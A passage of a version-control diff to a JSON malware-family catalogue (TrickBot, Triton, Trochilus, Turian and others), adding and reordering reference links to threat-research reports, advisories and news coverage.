"https://blog.checkpoint.com/2021/04/22/turning-telegram-toxic-new-toxiceye-rat-is-the-latest-to-use-telegram-for-command-control/" + "https://blog.checkpoint.com/2021/04/22/turning-telegram-toxic-new-toxiceye-rat-is-the-latest-to-use-telegram-for-command-control/", + "https://www.bollyinside.com/articles/how-rat-malware-is-using-telegram-to-evade-detection/" ], "synonyms": [], "type": [] @@ -35051,43 +41152,64 @@ "https://unit42.paloaltonetworks.com/trickbot-updates-password-grabber-module/", "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", "https://blog.morphisec.com/trickbot-delivery-method-gets-a-new-upgrade-focusing-on-windows", + "https://securityintelligence.com/posts/trickbot-gang-doubles-down-enterprise-infection/", "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module", "https://www.prodaft.com/m/uploads/SilverFish_TLPWHITE.pdf", "https://www.flashpoint-intel.com/blog/trickbot-account-checking-hybrid-attack-model/", "https://www.slideshare.net/proidea_conferences/inside-cybercrime-groups-harvesting-active-directory-for-fun-and-profit-vitali-kremez", + "https://www.fortinet.com/blog/threat-research/new-variant-of-trickbot-being-spread-by-word-document.html", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://www.bleepingcomputer.com/news/security/trickbot-malware-mistakenly-warns-victims-that-they-are-infected/", "https://www.cyberbit.com/blog/endpoint-security/latest-trickbot-variant-has-new-tricks-up-its-sleeve/", "https://public.intel471.com/blog/trickbot-update-november-2020-bazar-loader-microsoft/", "https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Lageberichte/Lagebericht2020.pdf?__blob=publicationFile&v=2", "https://blogs.microsoft.com/on-the-issues/2020/10/20/trickbot-ransomware-disruption-update/", + "https://www.microsoft.com/security/blog/2020/10/12/trickbot-disrupted/", + "https://osint.fans/service-nsw-russia-association", + "https://www.ic3.gov/Media/News/2022/220120.pdf", "https://www.bleepingcomputer.com/news/security/trickbot-now-uses-a-windows-10-uac-bypass-to-evade-detection/", "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/", "https://labs.vipre.com/trickbots-tricks/", "https://www.blueliv.com/research/trickbot-banking-trojan-using-eflags-as-an-anti-hook-technique/", "https://labs.bitdefender.com/2020/11/trickbot-is-dead-long-live-trickbot/", + "https://threatpost.com/conti-ransomware-v-3-including-decryptor-leaked/179006/", "https://labs.sentinelone.com/enter-the-maze-demystifying-an-affiliate-involved-in-maze-snow/", "https://ibm.ent.box.com/s/hs5pcayhbbhjvj8di5sqdpbbd88tsh89", "https://technical.nttsecurity.com/post/102fnog/targeted-trickbot-activity-drops-powerbrace-backdoor", "https://medium.com/@vishal_29486/trickbot-a-concise-treatise-d7e4cc97f737", "https://www.cybereason.com/blog/cybereason-vs.-ryuk-ransomware", - "https://www.zscaler.com/blogs/security-research/new-trickbot-and-bazarloader-campaigns-use-multiple-delivery-vectors", + "https://content.secureworks.com/-/media/Files/US/Reports/Monthly%20Threat%20Intelligence/Secureworks_ECO1_ThreatIntelligenceExecutiveReport2022Vol2.ashx", "https://blog.trendmicro.com/trendlabs-security-intelligence/latest-trickbot-campaign-delivered-via-highly-obfuscated-js-file/", + "https://intel471.com/blog/a-brief-history-of-ta505", "https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/", "https://www.secureworks.com/research/threat-profiles/gold-swathmore", "https://twitter.com/anthomsec/status/1321865315513520128", + "https://decoded.avast.io/martinhron/meris-and-trickbot-standing-on-the-shoulders-of-giants/", "https://www.hhs.gov/sites/default/files/bazarloader.pdf", "https://www.cert.pl/en/news/single/detricking-trickbot-loader/", + "https://www.europol.europa.eu/newsroom/news/12-targeted-for-involvement-in-ransomware-attacks-against-critical-infrastructure", + "https://www.advintel.io/post/the-trickbot-saga-s-finale-has-aired-but-a-spinoff-is-already-in-the-works", "https://community.riskiq.com/article/298c9fc9", "https://labs.sentinelone.com/building-a-custom-malware-analysis-lab-environment/", "https://blog.talosintelligence.com/2020/03/trickbot-primer.html", "https://www.deepinstinct.com/2019/07/12/trickbooster-trickbots-email-based-infection-module/", - "https://www.ringzerolabs.com/2017/07/trickbot-banking-trojan-doc00039217doc.html", + "https://www.justice.gov/opa/pr/russian-national-extradited-united-states-face-charges-alleged-role-cybercriminal", + "https://www.bankinfosecurity.com/cybercrime-moves-conti-ransomware-absorbs-trickbot-malware-a-18573", + "https://threatresearch.ext.hp.com/wp-content/uploads/2021/10/HP-Wolf-Security-Threat-Insights-Report-Q3-2021.pdf", "https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html", "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", + "https://blog.malwarebytes.com/threat-intelligence/2021/11/trickbot-helps-emotet-come-back-from-the-dead/", + "https://www.microsoft.com/security/blog/2022/03/16/uncovering-trickbots-use-of-iot-devices-in-command-and-control-infrastructure/", + "https://www.wired.co.uk/article/trickbot-malware-group-internal-messages", + "https://thehackernews.com/2022/05/malware-analysis-trickbot.html", "https://public.intel471.com/blog/trickbot-online-emotet-microsoft-cyber-command-disruption-attempts/", + "https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html", "https://www.botconf.eu/wp-content/uploads/2016/11/2016-LT09-TrickBot-Adams.pdf", + "https://www.bleepingcomputer.com/news/security/trickbot-uses-a-new-windows-10-uac-bypass-to-launch-quietly/", "https://public.intel471.com/blog/global-trickbot-disruption-operation-shows-promise/", "https://threatresearch.ext.hp.com/detecting-a-stealthy-trickbot-campaign/", - "https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group", + "https://blog.vincss.net/2021/10/re025-trickbot-many-tricks.html", "https://www.welivesecurity.com/wp-content/uploads/2021/02/ESET_Threat_Report_Q42020.pdf", "https://na.eventscloud.com/file_uploads/6568237bca6dc156e5c5557c5989e97c_CrowdStrikeFal.Con2019_ThroughEyesOfAdversary_J.Ayers.pdf", "http://www.vkremez.com/2017/11/lets-learn-trickbot-socks5-backconnect.html", @@ -35095,7 +41217,10 @@ "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/", "https://unit42.paloaltonetworks.com/wireshark-tutorial-examining-trickbot-infections/", "https://hello.global.ntt/en-us/insights/blog/trickbot-variant-communicating-over-dns", + "https://www.youtube.com/watch?v=Brx4cygfmg8", "https://blogs.microsoft.com/on-the-issues/2020/10/12/trickbot-ransomware-cyberthreat-us-elections/", + "https://share.vx-underground.org/Conti/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", "https://www.youtube.com/watch?v=EyDiIAt__dI", "https://www.hornetsecurity.com/en/security-information/trickbot-malspam-leveraging-black-lives-matter-as-lure/", "https://www.cyberbit.com/latest-trickbot-variant-has-new-tricks-up-its-sleeve/", @@ -35103,6 +41228,8 @@ "https://noticeofpleadings.com/trickbot/files/Complaint%20and%20Summons/2020-10-06%20Trickbot%201%20Complaint%20with%20exs.pdf", "https://www.intrinsec.com/deobfuscating-hunting-ostap/", "https://blog.morphisec.com/trickbot-uses-a-new-windows-10-uac-bypass", + "https://www.wired.com/story/trickbot-malware-group-internal-messages/", + "https://www.youtube.com/watch?v=KMcSAlS9zGE", "https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", "https://blog.fraudwatchinternational.com/malware/trickbot-malware-works", @@ -35113,121 +41240,159 @@ "https://blogs.keysight.com/blogs/tech/nwvs.entry.html/2020/12/21/trickbot_a_closerl-TpQ0.html", "https://www.kryptoslogic.com/blog/2021/07/trickbot-and-zeus/", "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", - "https://www.microsoft.com/security/blog/2020/10/12/trickbot-disrupted/", + "https://arcticwolf.com/resources/blog/karakurt-web", + "https://eclypsium.com/2022/06/02/conti-targets-critical-firmware/", "http://www.secureworks.com/research/threat-profiles/gold-blackburn", + "https://unit42.paloaltonetworks.com/ryuk-ransomware/", "https://blog.malwarebytes.com/threat-analysis/malware-threat-analysis/2018/11/whats-new-trickbot-deobfuscating-elements/", "https://www.bleepingcomputer.com/news/security/lightbot-trickbot-s-new-reconnaissance-malware-for-high-value-targets/", + "https://www.zscaler.com/blogs/research/trickbot-emerges-few-new-tricks", "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", + "https://www.justice.gov/opa/pr/latvian-national-charged-alleged-role-transnational-cybercrime-organization", "https://www.intel471.com/blog/Cobalt-strike-cybercriminals-trickbot-qbot-hancitor", "https://www.govcert.admin.ch/blog/36/severe-ransomware-attacks-against-swiss-smes", "https://us-cert.cisa.gov/ncas/alerts/aa21-076a", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx", "https://www.wilbursecurity.com/2020/03/trickbot-to-ryuk-in-two-hours/", "https://www.sneakymonkey.net/2019/05/22/trickbot-analysis/", + "https://www.zscaler.com/blogs/security-research/new-trickbot-and-bazarloader-campaigns-use-multiple-delivery-vectors", "https://www.washingtonpost.com/national-security/cyber-command-trickbot-disrupt/2020/10/09/19587aae-0a32-11eb-a166-dc429b380d10_story.html", "https://medium.com/walmartglobaltech/anchor-and-lazarus-together-again-24744e516607", - "https://www.splunk.com/en_us/blog/security/detecting-trickbots.html", + "https://www.cyberark.com/resources/threat-research-blog/conti-group-leaked", "https://medium.com/walmartglobaltech/trickbot-crews-new-cobaltstrike-loader-32c72b78e81c", + "https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", "https://www.sneakymonkey.net/2019/10/29/trickbot-analysis-part-ii/", "https://intezer.com/blog/intezer-analyze/fantastic-payloads-and-where-we-find-them", "http://www.pwc.co.uk/issues/cyber-security-data-privacy/research/trickbots-bag-of-tricks.html", + "https://intel471.com/blog/conti-emotet-ransomware-conti-leaks", "https://www.securityartwork.es/wp-content/uploads/2017/06/Informe_Evoluci%C3%B3n_Trickbot.pdf", "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", "https://content.fireeye.com/m-trends/rpt-m-trends-2020", + "https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/", + "https://intel471.com/blog/privateloader-malware", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", "https://www.vkremez.com/2018/11/lets-learn-introducing-latest-trickbot.html", "https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf", "https://www.youtube.com/watch?v=lTywPmZEU1A", "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", - "https://www.secureworks.com/research/threat-profiles/gold-blackburn", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", "https://www.fortinet.com/blog/threat-research/global-malicious-spam-campaign-using-black-lives-matter-as-a-lure", "https://engineering.salesforce.com/easily-identify-malicious-servers-on-the-internet-with-jarm-e095edac525a", "https://www.infosecurity-magazine.com/blogs/trickbot-mikrotik-connection/", "https://blogs.vmware.com/networkvirtualization/2020/11/trick-or-threat-ryuk-ransomware-targets-the-health-care-industry.html/", - "https://www.bleepingcomputer.com/news/security/trickbot-malware-mistakenly-warns-victims-that-they-are-infected/", + "https://therecord.media/trickbot-gang-shuts-down-botnet-after-months-of-inactivity/", + "https://www.netscout.com/blog/asert/dropping-anchor", "https://malware.love/trickbot/malware_analysis/reverse_engineering/2020/11/22/trickbot-fake-ips-part2.html", "https://blog.malwarebytes.com/threat-analysis/2017/08/trickbot-comes-with-new-tricks-attacking-outlook-and-browsing-data/", "https://malware.love/trickbot/malware_analysis/reverse_engineering/2020/11/17/trickbots-latest-trick.html", + "https://securityintelligence.com/trickbots-cryptocurrency-hunger-tricking-the-bitcoin-out-of-wallets/", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://attackiq.com/2022/06/15/attack-graph-emulating-the-conti-ransomware-teams-behaviors/", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://securelist.com/trickbot-module-descriptions/104603/", "http://www.peppermalware.com/2019/03/quick-analysis-of-trickbot-sample-with.html", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", "https://medium.com/walmartglobaltech/inside-the-systembc-malware-as-a-service-9aa03afd09c6", "https://blog.malwarebytes.com/threat-analysis/2016/10/trick-bot-dyrezas-successor/", - "https://www.youtube.com/watch?v=KMcSAlS9zGE", + "https://www.bleepingcomputer.com/news/security/conti-ransomware-gang-takes-over-trickbot-malware-operation/", "https://cofenselabs.com/all-you-need-is-text-second-wave/", "https://news.sophos.com/en-us/2020/02/18/nearly-a-quarter-of-malware-now-communicates-using-tls/", "https://labs.sentinelone.com/revealing-the-trick-a-deep-dive-into-trickloader-obfuscation/", - "https://www.justice.gov/opa/pr/latvian-national-charged-alleged-role-transnational-cybercrime-organization", + "https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf", "http://www.vkremez.com/2018/04/lets-learn-trickbot-implements-network.html", - "https://unit42.paloaltonetworks.com/ryuk-ransomware/", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0118.pdf", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/trickbot-botnet-ransomware-disruption", "https://qmemcpy.io/post/reverse-engineering-malware-trickbot-part-2-loader", - "https://securityintelligence.com/trickbots-cryptocurrency-hunger-tricking-the-bitcoin-out-of-wallets/", + "https://securityaffairs.co/wordpress/128190/cyber-crime/conti-ransomware-takes-over-trickbot.html", "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", "https://blog.intel471.com/2020/04/14/understanding-the-relationship-between-emotet-ryuk-and-trickbot/", "https://labs.sentinelone.com/how-trickbot-hooking-engine-targets-windows-10-browsers/", + "https://threatpost.com/trickbot-amazon-paypal-top-brands/178483/", "https://f5.com/labs/articles/threat-intelligence/malware/little-trickbot-growing-up-new-campaign-24412", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", "https://www.bitdefender.com/files/News/CaseStudies/study/316/Bitdefender-Whitepaper-TrickBot-en-EN-interactive.pdf", "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/evolving-trickbot-adds-detection-evasion-and-screen-locking-features", "https://www.webroot.com/blog/2018/03/21/trickbot-banking-trojan-adapts-new-module/", - "https://www.netscout.com/blog/asert/dropping-anchor", - "https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf", + "https://www.kryptoslogic.com/blog/2022/01/deep-dive-into-trickbots-web-injection/", + "https://www.ringzerolabs.com/2017/07/trickbot-banking-trojan-doc00039217doc.html", + "https://securityintelligence.com/posts/trickbot-gang-template-based-metaprogramming-bazar-malware/", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", + "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/", "https://cyber.wtf/2020/08/31/trickbot-rdpscandll-password-transof/", "https://www.welivesecurity.com/2020/10/12/eset-takes-part-global-operation-disrupt-trickbot/", + "https://www.mandiant.com/media/12596/download", "https://www.domaintools.com/resources/blog/tracking-a-trickbot-related-ransomware-incident", "https://blog.lumen.com/a-look-inside-the-trickbot-botnet/", + "https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-transnaczionalne-zlochinne-ugrupovannya-u-nanesenni-inozemnim-kompaniyam-120-miljoniv-dolariv-zbitkiv/", "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-attacked-epiq-global-via-trickbot-infection/", + "https://www.secureworks.com/blog/gold-ulrick-leaks-reveal-organizational-structure-and-relationships", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", "https://unit42.paloaltonetworks.com/wireshark-tutorial-emotet-infection/", + "https://intel471.com/blog/conti-leaks-ransomware-development", "https://securityintelligence.com/tricks-of-the-trade-a-deeper-look-into-trickbots-machinations/", "https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf", "https://www.heise.de/security/artikel/Emotet-Trickbot-Ryuk-ein-explosiver-Malware-Cocktail-4573848.html", "https://www.bitdefender.com/files/News/CaseStudies/study/399/Bitdefender-PR-Whitepaper-Trickbot-creat5515-en-EN.pdf", "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", "http://blog.fortinet.com/2016/12/06/deep-analysis-of-the-online-banking-botnet-trickbot", + "https://community.riskiq.com/article/111d6005/description", "https://sysopfb.github.io/malware/2018/04/16/trickbot-uacme.html", "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://www.fortinet.com/blog/threat-research/new-variant-of-trickbot-being-spread-by-word-document.html", + "https://www.justice.gov/opa/press-release/file/1445241/download", + "https://www.bleepingcomputer.com/news/security/cisa-updates-conti-ransomware-alert-with-nearly-100-domain-names/", "http://www.malware-traffic-analysis.net/2018/02/01/", "https://www.flashpoint-intel.com/blog/new-version-trickbot-adds-worm-propagation-module/", "https://www.secdata.com/the-trickbot-and-mikrotik/", + "https://www.cyberscoop.com/trickbot-shutdown-conti-emotet/", "https://www.arbornetworks.com/blog/asert/trickbot-banker-insights/", + "https://threatpost.com/conti-ransomware-decryptor-trickbot-source-code-leaked/178727/", "https://www.cybereason.com/blog/triple-threat-emotet-deploys-trickbot-to-steal-data-spread-ryuk-ransomware", "http://www.vkremez.com/2017/12/lets-learn-introducing-new-trickbot.html", - "https://www.zscaler.com/blogs/research/trickbot-emerges-few-new-tricks", + "https://www.gosecure.net/blog/2021/12/03/trickbot-leverages-zoom-work-from-home-interview-malspam-heavens-gate-and-spamhaus/", "https://blog.cyberint.com/ryuk-crypto-ransomware", - "https://www.bleepingcomputer.com/news/security/trickbot-uses-a-new-windows-10-uac-bypass-to-launch-quietly/", + "https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html", + "https://community.riskiq.com/article/04ec92f4", "https://www.advanced-intel.com/post/trickbot-group-launches-test-module-alerting-on-fraud-activity", "https://labs.sentinelone.com/deep-dive-into-trickbot-executor-module-mexec-hidden-anchor-bot-nexus-operations/", "https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors", "https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre", + "https://thehackernews.com/2022/02/trickbot-gang-likely-shifting.html", "https://therecord.media/trickbot-new-attacks-see-the-botnet-deploy-new-banking-module-new-ransomware/", - "https://www.bleepingcomputer.com/news/security/trickbot-gang-developer-arrested-when-trying-to-leave-korea/", + "https://research.checkpoint.com/2022/a-modern-ninja-evasive-trickbot-attacks-customers-of-60-high-profile-companies/", "https://eclypsium.com/2020/12/03/trickbot-now-offers-trickboot-persist-brick-profit/", "https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware", "https://www.sophos.com/en-us/medialibrary/pdfs/technical-papers/sophos-2021-threat-report.pdf", "https://www.crowdstrike.com/blog/sin-ful-spiders-wizard-spider-and-lunar-spider-sharing-the-same-web/", "https://securityintelligence.com/posts/itg08-aka-fin6-partners-with-trickbot-gang-uses-anchor-framework/", - "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/", + "https://www.breachquest.com/conti-leaks-insight-into-a-ransomware-unicorn/", "https://www.kryptoslogic.com/blog/2021/02/trickbot-masrv-module/", "https://securityintelligence.com/trickbot-takes-to-latin-america-continues-to-expand-its-global-reach/", "https://unit42.paloaltonetworks.com/goodbye-mworm-hello-nworm-trickbot-updates-propagation-module/", "https://www.secureworks.com/blog/trickbot-modifications-target-us-mobile-users", + "https://www.splunk.com/en_us/blog/security/detecting-trickbots.html", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://www.bleepingcomputer.com/news/security/trickbot-gang-developer-arrested-when-trying-to-leave-korea/", + "https://blog.reversinglabs.com/blog/conversinglabs-ep-2-conti-pivots-as-ransomware-as-a-service-struggles", "https://www.berlin.de/sen/justva/presse/pressemitteilungen/2020/pm-11-2020-t-systems-forensik_bericht_public_v1.pdf", "https://github.com/JR0driguezB/malware_configs/tree/master/TrickBot", "https://www.joesecurity.org/blog/498839998833561473", "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_5_sajo-takeda-niwa_en.pdf", + "https://research.checkpoint.com/2021/when-old-friends-meet-again-why-emotet-chose-trickbot-for-rebirth/", "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", "https://escinsecurity.blogspot.de/2018/01/weekly-trickbot-analysis-end-of-wc-22.html", "https://www.microsoft.com/security/blog/2021/02/01/what-tracking-an-attacker-email-infrastructure-tells-us-about-persistent-cybercriminal-operations/", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://thehackernews.com/2022/02/notorious-trickbot-malware-gang-shuts.html", "https://www.bleepingcomputer.com/news/security/trickbot-now-steals-windows-active-directory-credentials/", "https://www.fortinet.com/blog/threat-research/deep-analysis-of-trickbot-new-module-pwgrab.html", "https://labs.sentinelone.com/deep-dive-into-trickbot-executor-module-mexec-reversing-the-dropper-variant/", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf", + "https://www.reuters.com/technology/details-another-big-ransomware-group-trickbot-leak-online-experts-say-2022-03-04/", + "https://securityintelligence.com/posts/trickbot-bolsters-layered-defenses-prevent-injection/", + "https://www.secureworks.com/research/threat-profiles/gold-blackburn", "https://krebsonsecurity.com/2020/10/attacks-aimed-at-disrupting-the-trickbot-botnet/", "https://www.secureworks.com/research/threat-profiles/gold-ulrick", - "https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-1112.pdf", "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", "https://twitter.com/VK_Intel/status/1328578336021483522", "https://www.bleepingcomputer.com/news/security/emotet-trickbot-malware-duo-is-back-infecting-windows-machines/", @@ -35236,6 +41401,7 @@ "https://labs.sentinelone.com/inside-a-trickbot-cobaltstrike-attack-server/", "https://hurricanelabs.com/splunk-tutorials/splunking-with-sysmon-part-4-detecting-trickbot/", "https://securelist.com/financial-cyberthreats-in-2020/101638/", + "https://elis531989.medium.com/the-chronicles-of-bumblebee-the-hook-the-bee-and-the-trickbot-connection-686379311056", "https://cybersecurity.att.com/blogs/labs-research/trickbot-bazarloader-in-depth", "https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf", "https://public.intel471.com/blog/partners-in-crime-north-koreans-and-elite-russian-speaking-cybercriminals/", @@ -35248,9 +41414,10 @@ "https://redcanary.com/resources/webinars/deep-dive-process-injection/", "https://www.bleepingcomputer.com/news/security/malware-tries-to-trump-security-software-with-potus-impeachment/", "https://unit42.paloaltonetworks.com/trickbot-campaign-uses-fake-payroll-emails-to-conduct-phishing-attacks/", - "https://osint.fans/service-nsw-russia-association", + "https://krebsonsecurity.com/2022/03/conti-ransomware-group-diaries-part-ii-the-office/", "https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/", - "https://thedfirreport.com/2021/05/02/trickbot-brief-creds-and-beacons/" + "https://thedfirreport.com/2021/05/02/trickbot-brief-creds-and-beacons/", + "https://www.bleepingcomputer.com/news/security/karakurt-revealed-as-data-extortion-arm-of-conti-cybercrime-syndicate/" ], "synonyms": [ "TheTrick", @@ -35268,10 +41435,14 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.triton", "https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html", + "https://www.ic3.gov/Media/News/2022/220325.pdf", "https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html", "https://www.eenews.net/stories/1060123327/", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-083a", "https://www.midnightbluelabs.com/blog/2018/1/16/analyzing-the-triton-industrial-malware", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", "https://home.treasury.gov/news/press-releases/sm1162", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", "https://dragos.com/blog/trisis/TRISIS-01.pdf", "https://us-cert.cisa.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%20-%20Safety%20System%20Targeted%20Malware%20%28Update%20A%29_S508C.PDF", "https://github.com/ICSrepo/TRISIS-TRITON-HATMAN", @@ -35292,7 +41463,7 @@ "value": "Triton" }, { - "description": "", + "description": "Trochilus is a C++ written RAT, which is available on GitHub. \r\nGitHub Repo:\r\n- https://github.com/m0n0ph1/malware-1/tree/master/Trochilus\r\n- https://github.com/5loyd/trochilus", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.trochilus_rat", @@ -35300,9 +41471,10 @@ "https://go.recordedfuture.com/hubfs/reports/cta-2019-0206.pdf", "https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pivoter_tel_bernard_ou_comment_monitorer_des_attaq/SSTIC2020-Slides-pivoter_tel_bernard_ou_comment_monitorer_des_attaquants_ngligents-lunghi.pdf", "https://raw.githubusercontent.com/yt0ng/cracking_softcell/main/Cracking_SOFTCLL_TLP_WHITE.pdf", + "https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-drbcontrol-uncovering-a-cyberespionage-campaign-targeting-gambling-companies-in-southeast-asia", "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", "https://app.box.com/s/z1uanuv1vn3vw5iket1r6bqrmlra0gpn", - "https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-drbcontrol-uncovering-a-cyberespionage-campaign-targeting-gambling-companies-in-southeast-asia", + "https://blogs.jpcert.or.jp/en/2017/04/redleaves---malware-based-on-open-source-rat.html", "https://www.secureworks.com/research/bronze-vinewood-targets-supply-chains", "https://www.secureworks.com/research/threat-profiles/bronze-vinewood", "https://github.com/m0n0ph1/malware-1/tree/master/Trochilus" @@ -35388,6 +41560,33 @@ "uuid": "3da6f62c-9e06-4e7b-8852-7c7689f65833", "value": "Tsifiri" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.turian", + "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/", + "https://www.fortinet.com/blog/threat-research/analysis-of-follina-zero-day" + ], + "synonyms": [], + "type": [] + }, + "uuid": "69585b58-ec98-4a70-b61d-288d5a7ca7c3", + "value": "turian" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.turkojan", + "https://www.sentinelone.com/wp-content/uploads/2021/09/SentinelOne_-SentinelLabs_EGoManiac_WP_V4.pdf" + ], + "synonyms": [], + "type": [] + }, + "uuid": "17f9e595-c7c2-448a-a48a-6079e4c5791a", + "value": "Turkojan" + }, { "description": "", "meta": { @@ -35411,6 +41610,7 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.turla_silentmoon", "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", "https://twitter.com/Arkbird_SOLG/status/1304187749373800455", + "https://www.emanueledelucia.net/the-bigboss-rules-something-about-one-of-the-uroburos-rpc-based-backdoors/", "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity" ], "synonyms": [ @@ -35546,6 +41746,19 @@ "uuid": "5e362cd1-bc5c-4225-b820-00ec7ebebadd", "value": "Uiwix" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.underminer_ek", + "https://blog.minerva-labs.com/underminer-exploit-kit-the-more-you-check-the-more-evasive-you-become" + ], + "synonyms": [], + "type": [] + }, + "uuid": "788b5c01-6609-4a3e-8922-5734fb6897b4", + "value": "UnderminerEK" + }, { "description": "", "meta": { @@ -35865,7 +42078,7 @@ "synonyms": [], "type": [] }, - "uuid": "45d78ad1-6b31-423d-8c90-9bea0934c218", + "uuid": "7f93a8c3-edc7-4c91-a8e5-cc2cbe08880b", "value": "win.unidentified_059" }, { @@ -36090,20 +42303,6 @@ "uuid": "2eb8ca65-186b-44ae-bd91-189b3eb5ed54", "value": "Unidentified 081 (Andariel Ransomware)" }, - { - 